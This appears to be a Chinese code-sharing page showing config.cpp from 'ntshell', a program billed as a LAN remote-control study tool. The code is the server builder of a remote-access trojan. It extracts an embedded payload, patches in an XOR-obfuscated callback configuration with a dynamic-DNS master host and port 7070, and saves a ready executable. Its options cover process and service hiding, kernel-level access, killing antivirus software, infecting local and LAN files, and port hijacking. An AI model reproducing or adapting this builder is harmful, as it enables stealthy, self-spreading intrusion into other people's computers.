⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 config.cpp

📁 远程控制系统,可以实现局域网内进行远程控制计算机,很方便,并且是学习用的非常好的资料.
💻 CPP
📖 第 1 页 / 共 2 页
字号:
	HRSRC hSrc = FindResource(hModule, MAKEINTRESOURCE(IDR_NTSHELL), "BINARY");	
	HGLOBAL hRes = LoadResource(hModule, hSrc);
	ULONG size = SizeofResource(hModule, hSrc);

	UCHAR *pExe = new UCHAR[size];

	if (pExe == NULL)
		return 0;

	UCHAR *p = (UCHAR *)LockResource(hRes);
	memcpy(pExe, p, size);
	FreeResource(hRes);

	UCHAR *pp = (UCHAR *)MemorySearchLR(pExe, size, "\x12\x34\x56\x78", 4);
	memcpy(pp, config, sizeof(config));

	for (int i = 4; i < sizeof(config); i++)
		pp[i] ^= 0xa7;

	OPENFILENAME ofn;
	TCHAR szFileName[MAX_PATH] = "ntshell.exe";

	memset(&ofn, 0, sizeof(OPENFILENAME));
	ofn.lStructSize		= sizeof(OPENFILENAME);
	ofn.hwndOwner		= NULL;
	ofn.hInstance		= GetModuleHandle(NULL);
	ofn.lpstrFilter		= "应用程序 (*.exe)\0*.exe\0全部文件 (*.*)\0*.*\0";
	ofn.lpstrFile		= szFileName;
	ofn.nMaxFile		= MAX_PATH;
	ofn.Flags			= OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_LONGNAMES | OFN_EXPLORER | OFN_HIDEREADONLY;

	if (!GetSaveFileName(&ofn))
	{
		delete [] pExe;
		return 0;
	}

	HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);

	if (hFile == INVALID_HANDLE_VALUE)
	{
		CString msg;
		msg.Format("不能创建文件 %s", szFileName);
		delete [] pExe;
		return 0;
	}

	DWORD nWriteBytes;
	WriteFile(hFile, pExe, size, &nWriteBytes, NULL);
	CloseHandle(hFile);
	delete [] pExe;

	return 0;
}

LRESULT CServerConfig::OnClose(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
	EndDialog(wID);

	return 0;
}

LRESULT CServerConfig::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
	EndDialog(wID);

	return 0;
}

LRESULT CServerConfig::OnButtonClicked(int /*code*/, int id, HWND /*hWnd*/, BOOL& /*bHandled*/)
{
	switch (id)
	{
	case IDC_RADIO1:
		::EnableWindow(GetDlgItem(IDC_EDIT1), FALSE);
		::EnableWindow(GetDlgItem(IDC_EDIT2), FALSE);
		::EnableWindow(GetDlgItem(IDC_EDIT3), FALSE);
		::EnableWindow(GetDlgItem(IDC_EDIT4), FALSE);
		::EnableWindow(GetDlgItem(IDC_RADIO4), TRUE);
		::EnableWindow(GetDlgItem(IDC_RADIO5), TRUE);
		::EnableWindow(GetDlgItem(IDC_EDIT5), TRUE);
		CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id);
		break;

	case IDC_RADIO2:
		::EnableWindow(GetDlgItem(IDC_EDIT1), TRUE);
		::EnableWindow(GetDlgItem(IDC_EDIT2), TRUE);
		::EnableWindow(GetDlgItem(IDC_EDIT3), TRUE);
		::EnableWindow(GetDlgItem(IDC_EDIT4), TRUE);
		::EnableWindow(GetDlgItem(IDC_RADIO4), FALSE);
		::EnableWindow(GetDlgItem(IDC_RADIO5), FALSE);
		::EnableWindow(GetDlgItem(IDC_EDIT5), FALSE);
		CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id);
		break;

	case IDC_RADIO3:
		::EnableWindow(GetDlgItem(IDC_EDIT1), TRUE);
		::EnableWindow(GetDlgItem(IDC_EDIT2), TRUE);
		::EnableWindow(GetDlgItem(IDC_EDIT3), TRUE);
		::EnableWindow(GetDlgItem(IDC_EDIT4), TRUE);
		::EnableWindow(GetDlgItem(IDC_RADIO4), TRUE);
		::EnableWindow(GetDlgItem(IDC_RADIO5), TRUE);
		::EnableWindow(GetDlgItem(IDC_EDIT5), TRUE);
		CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id);
		break;

	case IDC_RADIO4:
	case IDC_RADIO5:
		CheckRadioButton(IDC_RADIO4, IDC_RADIO5, id);
		break;

	case IDC_RADIO6:
		::EnableWindow(GetDlgItem(IDC_CHECK2), FALSE);
		CheckRadioButton(IDC_RADIO6, IDC_RADIO7, id);
		break;

	case IDC_RADIO7:
		CheckRadioButton(IDC_RADIO6, IDC_RADIO7, id);
		::EnableWindow(GetDlgItem(IDC_CHECK2), TRUE);
		break;

	case IDC_CHECK1:
		if (IsDlgButtonChecked(IDC_CHECK1) == BST_CHECKED)
		{
			::EnableWindow(GetDlgItem(IDC_EDIT6), TRUE);
			::EnableWindow(GetDlgItem(IDC_EDIT7), TRUE);
		}
		else
		{
			::EnableWindow(GetDlgItem(IDC_EDIT6), FALSE);
			::EnableWindow(GetDlgItem(IDC_EDIT7), FALSE);
		}
		break;
	}

	return 0;
}

void CServerConfig::LoadConfig()
{
	TCHAR szIniPath[MAX_PATH];

	GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
	_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");

	GetPrivateProfileString("ServerConfig", "MasterAddr", "mnjcc.vicp.net", MasterAddr, sizeof(MasterAddr), szIniPath);
	GetPrivateProfileString("ServerConfig", "MasterAddr2", "192.168.0.23", MasterAddr2, sizeof(MasterAddr2), szIniPath);
	MasterPort = GetPrivateProfileInt("ServerConfig", "MasterPort", 7070, szIniPath);
	ConnSpace = GetPrivateProfileInt("ServerConfig", "ConnSpace", 20000, szIniPath);
	ListenPort = GetPrivateProfileInt("ServerConfig", "ListenPort", 24704, szIniPath);
	WaitMode = GetPrivateProfileInt("ServerConfig", "WaitMode", 1, szIniPath);
	PortHijack = GetPrivateProfileInt("ServerConfig", "PortHijack", FALSE, szIniPath);
	NeedPwd = GetPrivateProfileInt("ServerConfig", "NeedPwd", FALSE, szIniPath);
	ConfigFlags = GetPrivateProfileInt("ServerConfig", "ConfigFlags", FLAG_ALLOW_RING0 | FLAG_RECORD_ERROR | FLAG_AUTO_BACKUP_FILE | FLAG_RING0_OPEN_FILE, szIniPath);
	RunMethod = GetPrivateProfileInt("ServerConfig", "RunMethod", 0, szIniPath);

	SetDlgItemText(IDC_EDIT1, MasterAddr);
	SetDlgItemText(IDC_EDIT2, MasterAddr2);
	SetDlgItemInt(IDC_EDIT3, MasterPort);
	SetDlgItemInt(IDC_EDIT4, ConnSpace);
	SetDlgItemInt(IDC_EDIT5, ListenPort);

	CheckRadioButton(IDC_RADIO1, IDC_RADIO3, IDC_RADIO1 + WaitMode);
	CheckRadioButton(IDC_RADIO4, IDC_RADIO5, PortHijack == FALSE ? IDC_RADIO4 : IDC_RADIO5);
	CheckDlgButton(IDC_CHECK1, NeedPwd ? BST_CHECKED : BST_UNCHECKED);
	SetDlgItemText(IDC_EDIT6, "");
	SetDlgItemText(IDC_EDIT7, "");
	CheckRadioButton(IDC_RADIO6, IDC_RADIO7, RunMethod == 0 ? IDC_RADIO6 : IDC_RADIO7);
	CheckDlgButton(IDC_CHECK2, RunMethod == 2 ? BST_CHECKED : BST_UNCHECKED);

	CheckDlgButton(IDC_CHECK3, ConfigFlags & FLAG_ALLOW_HIDE_PROCESS ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK4, ConfigFlags & FLAG_ALLOW_RING0 ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK5, ConfigFlags & FLAG_RUN_SERVICE_ALWAYS ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK6, ConfigFlags & FLAG_AUTO_KILL_AVSOFT ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK7, ConfigFlags & FLAG_AUTO_INFECT_FILE ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK8, ConfigFlags & FLAG_AUTO_INFECT_LAN_FILE ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK9, ConfigFlags & FLAG_RECORD_ERROR ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK10, ConfigFlags & FLAG_RING0_OPEN_FILE ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK11, ConfigFlags & FLAG_AUTO_BACKUP_FILE ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK12, ConfigFlags & FLAG_ALLOW_LOAD_DRIVER ? BST_CHECKED : BST_UNCHECKED);
	CheckDlgButton(IDC_CHECK13, ConfigFlags & FLAG_ALLOW_HIDE_SERVICE ? BST_CHECKED : BST_UNCHECKED);

	::EnableWindow(GetDlgItem(IDC_EDIT1), WaitMode == 0 ? FALSE : TRUE);
	::EnableWindow(GetDlgItem(IDC_EDIT2), WaitMode == 0 ? FALSE : TRUE);
	::EnableWindow(GetDlgItem(IDC_EDIT3), WaitMode == 0 ? FALSE : TRUE);
	::EnableWindow(GetDlgItem(IDC_EDIT4), WaitMode == 0 ? FALSE : TRUE);
	::EnableWindow(GetDlgItem(IDC_EDIT5), WaitMode == 1 ? FALSE : TRUE);
	::EnableWindow(GetDlgItem(IDC_RADIO4), WaitMode == 1 ? FALSE : TRUE);
	::EnableWindow(GetDlgItem(IDC_RADIO5), WaitMode == 1 ? FALSE : TRUE);

	::EnableWindow(GetDlgItem(IDC_CHECK2), RunMethod == 0 ? FALSE : TRUE);
	::EnableWindow(GetDlgItem(IDC_EDIT6), NeedPwd ? TRUE : FALSE);
	::EnableWindow(GetDlgItem(IDC_EDIT7), NeedPwd ? TRUE : FALSE);
}

void CServerConfig::SaveConfig()
{
	TCHAR szIniPath[MAX_PATH];

	GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
	_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");

	CString tmp;

	WritePrivateProfileString("ServerConfig", "MasterAddr", MasterAddr, szIniPath);
	WritePrivateProfileString("ServerConfig", "MasterAddr2", MasterAddr2, szIniPath);
	tmp.Format("%d", MasterPort);
	WritePrivateProfileString("ServerConfig", "MasterPort", tmp, szIniPath);
	tmp.Format("%d", ConnSpace);
	WritePrivateProfileString("ServerConfig", "ConnSpace", tmp, szIniPath);
	tmp.Format("%d", ListenPort);
	WritePrivateProfileString("ServerConfig", "ListenPort", tmp, szIniPath);
	tmp.Format("%d", WaitMode);
	WritePrivateProfileString("ServerConfig", "WaitMode", tmp, szIniPath);
	tmp.Format("%d", PortHijack);
	WritePrivateProfileString("ServerConfig", "PortHijack", tmp, szIniPath);
	tmp.Format("%d", NeedPwd);
	WritePrivateProfileString("ServerConfig", "NeedPwd", tmp, szIniPath);
	tmp.Format("%d", ConfigFlags);
	WritePrivateProfileString("ServerConfig", "ConfigFlags", tmp, szIniPath);
	tmp.Format("%d", RunMethod);
	WritePrivateProfileString("ServerConfig", "RunMethod", tmp, szIniPath);
}

//////////////////////////////////////////////////////////////////////
//
// config.cpp: implementation of the CLocalConfig class.
//
//////////////////////////////////////////////////////////////////////

ULONG ScreenCaptureMethod = SCREEN_XOR;
ULONG ScreenCaptureSpace = 1000;
BOOLEAN AutoZoom = FALSE;
USHORT LocalListenPort = 7070;

LRESULT CLocalConfig::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/)
{
	// center the dialog on the screen
	CenterWindow();
	//LoadConfig();

	switch (ScreenCaptureMethod)
	{
	case SCREEN_XOR:
		CheckDlgButton(IDC_RADIO1, BST_CHECKED);
		break;
	case SCREEN_DIFFERENCE:
		CheckDlgButton(IDC_RADIO2, BST_CHECKED);
		break;
	}

	if (!AutoZoom)
		CheckDlgButton(IDC_RADIO3, BST_CHECKED);
	else
		CheckDlgButton(IDC_RADIO4, BST_CHECKED);

	SetDlgItemInt(IDC_EDIT1, ScreenCaptureSpace);
	SetDlgItemInt(IDC_EDIT2, LocalListenPort);

	return TRUE;
}

LRESULT CLocalConfig::OnOK(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
	if (IsDlgButtonChecked(IDC_RADIO1))
		ScreenCaptureMethod = SCREEN_XOR;

	if (IsDlgButtonChecked(IDC_RADIO2))
		ScreenCaptureMethod = SCREEN_DIFFERENCE;

	ScreenCaptureSpace = GetDlgItemInt(IDC_EDIT1);

	if (IsDlgButtonChecked(IDC_RADIO3))
		AutoZoom = FALSE;

	if (IsDlgButtonChecked(IDC_RADIO4))
		AutoZoom = TRUE;

	LocalListenPort = GetDlgItemInt(IDC_EDIT2);

	SaveConfig();
	EndDialog(wID);

	return 0;
}

LRESULT CLocalConfig::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
{
	EndDialog(wID);

	return 0;
}

void CLocalConfig::LoadConfig()
{
	TCHAR szIniPath[MAX_PATH];

	GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
	_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");

	LocalListenPort = GetPrivateProfileInt("LocalConfig", "ListenPort", 7070, szIniPath);
	ScreenCaptureMethod = GetPrivateProfileInt("LocalConfig", "ScreenCaptureMethod", SCREEN_XOR, szIniPath);
	ScreenCaptureSpace = GetPrivateProfileInt("LocalConfig", "ScreenCaptureSpace", 1000, szIniPath);
	AutoZoom = GetPrivateProfileInt("LocalConfig", "AutoZoom", FALSE, szIniPath);
}

void CLocalConfig::SaveConfig()
{
	CString tmp;
	TCHAR szIniPath[MAX_PATH];

	GetModuleFileName(NULL, szIniPath, sizeof(szIniPath));
	_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini");

	tmp.Format("%d", LocalListenPort);
	WritePrivateProfileString("LocalConfig", "ListenPort", tmp, szIniPath);
	tmp.Format("%d", ScreenCaptureMethod);
	WritePrivateProfileString("LocalConfig", "ScreenCaptureMethod", tmp, szIniPath);
	tmp.Format("%d", ScreenCaptureSpace);
	WritePrivateProfileString("LocalConfig", "ScreenCaptureSpace", tmp, szIniPath);
	tmp.Format("%d", AutoZoom);
	WritePrivateProfileString("LocalConfig", "AutoZoom", tmp, szIniPath);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -